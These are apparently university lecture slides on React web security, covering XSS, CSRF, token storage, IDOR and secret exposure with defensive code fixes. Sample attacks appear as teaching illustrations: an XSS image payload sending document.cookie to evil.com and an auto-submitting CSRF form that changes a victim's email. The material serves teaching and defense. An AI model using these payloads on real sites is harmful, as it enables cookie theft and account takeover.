NU MOA

React Security Practices



FOUNDED FOR FILIPINOS, BUILT FOR THE NATION

What we'll cover today



01 Introduction to React Security



02 React Security Vulnerabilities



03 React Security Practices

By the end of this session

- Explain why client-side code must be treated as untrusted
- Identify common React vulnerabilities: XSS, CSRF, broken access control, and more
- Apply concrete fixes: sanitization, secure token storage, and a Content Security Policy
- Use a practical checklist to audit a React app's security

Each topic pairs the concept with the concrete code fix used in practice.

NU MOA

Introduction to React Security



FOUNDED FOR FILIPINOS, BUILT FOR THE NATION

Why React Security Matters

A React app runs almost entirely inside the user's browser. The full JavaScript bundle — component logic, routing, even the shape of your API calls — is downloadable and can be read or modified by anyone using dev tools.

This does not mean React is insecure — it escapes rendered text by default, which already blocks a large class of attacks. It means everything built *around* React has to be designed assuming the browser can be hostile.

CORE ASSUMPTION

Treat the browser as a hostile environment.

Assume anything your app sends or stores on the client can be read, modified, and replayed by an attacker.

React App
Runs on the user's device

→

Network
Can be intercepted or replayed

→

Server API
Trust boundary starts here

Client vs. Server Responsibilities

Client Responsibilities

- Escape and sanitize any content rendered into the DOM
- Avoid storing sensitive data on the client unnecessarily
- Serve the app only over HTTPS
- Validate input early, for a responsive user experience

Server Responsibilities

- The only place that can authoritatively enforce authorization
- Re-validate every input for security, not just for UX
- Rate-limit and log requests
- Hold onto secrets the client never sees

Core assumption: treat the browser as a hostile environment. Anything sent to the client can be inspected, modified, or replayed — the server must never trust a client-side check alone.

The SPA Attack Surface

Compared to a classic server-rendered site, a React app adds attack surface that comes from its own build pipeline and client-side ecosystem.

Attack surface	Example risk
npm dependency tree	A compromised or vulnerable transitive package can run arbitrary code inside your app.
Build-time env variables	`REACT_APP_* / VITE_*`
Client-side storage	localStorage, sessionStorage, and IndexedDB are readable by any script on the page.
Third-party scripts	A compromised ad, analytics, or chat widget shares your DOM and storage access.
Raw HTML rendering	dangerouslySetInnerHTML or an unescaped URL can let content execute as script.

NU MOA

React Security Vulnerabilities



FOUNDED FOR FILIPINOS, BUILT FOR THE NATION

Cross-Site Scripting (XSS)

XSS happens when an attacker's own JavaScript runs inside your page, with the same privileges as your code. React escapes rendered text by default — this protection breaks in a few specific patterns.

Type	How it happens
Stored XSS	The payload is saved on the server (e.g. a comment) and served to every visitor who views that content.
Reflected XSS	The payload is bounced straight back from a URL or query parameter.
DOM-based XSS	The payload never touches the server; client-side code writes it into the DOM through an unsafe sink.

XSS Through dangerouslySetInnerHTML

Rendering raw HTML from user input skips React's default escaping entirely. An attacker's comment can carry a script that runs for every visitor who views it.

Comment.jsx

```jsx
function Comment({ body }) {
  return <div dangerouslySetInnerHTML={{ __html: body }} />;
}

// If an attacker submits this as their comment:
// <img src=x onerror="fetch('//evil.com/steal?c='
//   + document.cookie)">
```

Cross-Site Request Forgery (CSRF)

evil.com/exploit.html

```
<!-- hosted on evil.com; the victim just has to load
     this page while already logged in to your app -->
<form action="https://your-app.com/api/users/me/email"
      method="POST">
  <input type="hidden" name="email"
         value="attacker@evil.com" />
</form>
<script>document.forms[0].submit();</script>
```

CSRF tricks a logged-in user's browser into sending a request without their knowledge, riding along on credentials the browser sends automatically — most commonly session cookies.

Insecure Authentication & Token Storage

This builds on the JWT topic from Week 10-11. Where you store the token after login matters as much as how you sign it.

	Storage option	Readable by JS?	Main risk
	localStorage	Yes	Any script on the page — including an injected one — can read and exfiltrate the token.
	sessionStorage	Yes (tab-scoped)	Same as localStorage, just cleared when the tab closes.
	HttpOnly cookie	No	Not stealable via XSS, but sent automatically — must be paired with CSRF defenses.

Broken Access Control (IDOR)

Broken access control happens when the server never checks that the logged-in user actually owns the resource being requested — often because the check only ever existed in the UI.

routes/orders.js

```
// any authenticated user can view ANY order,
// simply by changing the id in the URL
router.get('/api/orders/:id', verifyToken,
  async (req, res) => {
    const order = await Order.findById(req.params.id);
    res.json(order);
    // no check that order.userId === req.user.id
});
```

Sensitive Data Exposure

.env

```
# .env — WRONG: a real secret behind a
# client-exposed prefix
REACT_APP_STRIPE_SECRET_KEY=sk_live_51Hxxxxxxxx

// Anyone can retrieve it from the shipped bundle:
// grep -r "sk_live" build/static/js/
```

Because the entire client bundle is downloadable, anything placed in client-side code or a client-exposed environment variable should be considered public.

More Vulnerabilities to Know

Insecure & Outdated Dependencies

A known vulnerability in any of the hundreds of npm packages a React app pulls in — or a maliciously published version — runs with the same access as your own code.

Clickjacking

The attacker embeds your site inside an invisible iframe, layered under a fake UI, so a click the victim thinks is harmless actually lands on your hidden button.

Security Misconfiguration

An overly permissive CORS policy, verbose stack traces returned to the client, or missing security headers left at their defaults.

Vulnerabilities at a Glance

Vulnerability	Related OWASP category
Cross-Site Scripting (XSS)	Injection
Cross-Site Request Forgery	Identification & Authentication Failures
Insecure token storage	Cryptographic Failures
Broken access control / IDOR	Broken Access Control
Sensitive data exposure	Cryptographic Failures
Insecure dependencies	Vulnerable and Outdated Components
Clickjacking	Security Misconfiguration
Security misconfiguration	Security Misconfiguration

NU MOA

React Security Practices



FOUNDED FOR FILIPINOS, BUILT FOR THE NATION

Sanitizing Content Before Rendering

The safest fix is to avoid dangerouslySetInnerHTML entirely and let React's default escaping do its job. When rich HTML really is required, sanitize it first with DOMPurify — and validate any URL's scheme before using it in href or src.

Comment.jsx

```jsx
// npm install dompurify
import DOMPurify from 'dompurify';

function Comment({ body }) {
  const clean = DOMPurify.sanitize(body);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
```

Defending Against CSRF

server.js

```
// server.js — set the auth cookie defensively
res.cookie('token', jwt, {
  httpOnly: true,
  secure: true,       // only sent over HTTPS
  sameSite: 'strict', // withheld on cross-site requests
});
```

Pair a cookie-based session with the SameSite attribute, so the browser withholds it on cross-site requests. For defense in depth, add a CSRF token the client must echo back in a custom header — something a cross-origin form cannot do.

Secure Token Storage & Session Handling

Prefer an HttpOnly, Secure, SameSite cookie over localStorage for the token itself. Pair a short-lived access token with a rotating refresh token.

Before (risky)	After (hardened)
JWT stored in localStorage	JWT stored in an HttpOnly, Secure, SameSite cookie
One long-lived token (weeks)	Short-lived access token + rotating refresh token
Token readable by any script on the page	Token inaccessible to JavaScript entirely

Enforcing Ownership on Every Route

Every sensitive route re-checks ownership and role, regardless of what the UI already hid. This is the fix for the IDOR from Topic 2 — a check applied consistently, not trusted to be "obvious."

routes/orders.js

```
router.get('/api/orders/:id', verifyToken,
  async (req, res) => {
    const order = await Order.findById(req.params.id);
    if (!order) {
      return res.status(404).json({ message: 'Not found' });
    }
    if (order.userId.toString() !== req.user.id) {
      return res.status(403).json({ message: 'Forbidden' });
    }
    res.json(order);
});
```

Protecting Secrets & Dependencies

Never expose real secrets to the client

.env stays out of version control; only publishable keys go in REACT_APP_*/VITE_* variables.

Proxy secret-requiring calls through your backend

The browser never talks to a third-party API that needs a real secret key directly.

Audit dependencies regularly

npm audit, and commit the lockfile so every install resolves to the versions you tested.

Automate dependency updates

Enable Dependabot or Renovate so new versions arrive as reviewable pull requests.

Security Headers & Content Security Policy

HTTP response headers tell the browser how to treat your page defensively. The helmet middleware sets sensible defaults for an Express API in one call.

Header	What it prevents
Content-Security-Policy	Restricts which sources scripts and styles may load from — a strong second layer of XSS defense.
X-Frame-Options / frame-ancestors	Blocks your site from being embedded in another site's iframe — the fix for clickjacking.
X-Content-Type-Options: nosniff	Stops the browser from guessing content types in a way attackers can abuse.
Referrer-Policy	Limits how much of your URL is leaked to external sites via the Referer header.
Strict-Transport-Security (HSTS)	Forces the browser to only ever connect over HTTPS for this domain.

HTTPS Everywhere & Subresource Integrity

index.html

```
<script
  src="https://cdn.example.com/lib.min.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6"
  crossorigin="anonymous">
</script>
```

HTTPS should be non-negotiable — combined with HSTS, it protects tokens and data in transit. For any script loaded from a third-party CDN, add a Subresource Integrity hash so the browser refuses to run a tampered file.

A React Security Checklist

	Area	Checklist item
✔	Rendering	No unsanitized dangerouslySetInnerHTML; URL schemes validated before use
✔	Auth	Tokens in HttpOnly/Secure/SameSite cookies; refresh tokens rotate
✔	Access control	Every sensitive route re-checks ownership/role on the server
✔	Secrets	.env gitignored; only publishable keys in client-exposed variables
✔	Dependencies	npm audit run regularly; lockfile committed; update bot enabled
✔	Headers	helmet configured with a CSP, frame-ancestors, and HSTS
✔	Transport	HTTPS enforced everywhere; SRI hashes on third-party CDN scripts

Key Takeaways

1. React escapes rendered text by default — dangerouslySetInnerHTML is where XSS usually gets in
2. A client-side check is UX, not security — the server must enforce it too
3. Prefer HttpOnly, Secure, SameSite cookies over localStorage for auth tokens
4. Keep real secrets server-side, and keep dependencies patched
5. Security headers and a Content-Security-Policy add a second layer of defense

Quick Self-Check

- Can you name the three types of XSS?
- Can you explain why a client-only role check isn't secure?
- Can you fix an IDOR vulnerability in a route?
- Can you configure a basic Content-Security-Policy?

NU MOA

Thank You!



FOUNDED FOR FILIPINOS, BUILT FOR THE NATION